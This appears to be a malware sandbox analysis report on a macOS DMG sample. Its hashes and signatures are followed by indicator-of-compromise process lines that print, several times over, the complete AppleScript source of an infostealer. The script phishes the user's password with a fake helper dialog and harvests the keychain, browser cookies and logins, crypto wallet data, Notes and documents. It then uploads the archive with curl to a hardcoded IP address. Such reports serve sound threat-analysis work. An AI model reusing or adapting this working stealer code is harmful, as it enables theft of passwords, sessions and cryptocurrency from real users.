Analysis
- max time kernel
370s - max time network
372s - platform
macos-10.15_amd64 - resource
macos-20240214-en - resource tags
arch:amd64arch:i386image:macos-20240214-enkernel:19b77alocale:en-usos:macos-10.15-amd64system - submitted
10/03/2024, 11:21
Behavioral task
behavioral1
Sample
App_SM_v1.0.4.dmg
Resource
macos-20240214-en
4 signatures
600 seconds
General
- Target Application/AppleApp
- Size 182KB
- Sample240310-nf2hlsbh4s
- SHA256 d516cf17c52276fee1ebde5c9d0f0cb2f07b76ba6808bfbe034923549f561351
- MD5 5f4bccf2b3c89bc735b921170f6b6734
- SHA1 2daffac4fc1d7c08e9f1af29e4347d7fade80bfe
- SHA512 07ad3efebb6eb98e41279a39a97b444dc449efe4be48e2e86d7dbc7c8f349a869ed9f7aebbeef1ca6898bab010cfc19d6df83c25fc26a48c5b7af0d2d3ffc234
- SSDEEP 768:W8gtiHTEhx3Ma5Nrckkb9TLYO5gsjx3Ma5NrYobnT:cizwx8a5NIB9Tf5g6x8a5NEenT
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Identifies hardware specifics through system_profiler 10 IoCs
ioc Process sh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)'" Process not Found system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType Process not Found sh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)'" Process not Found osascript -e "on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to 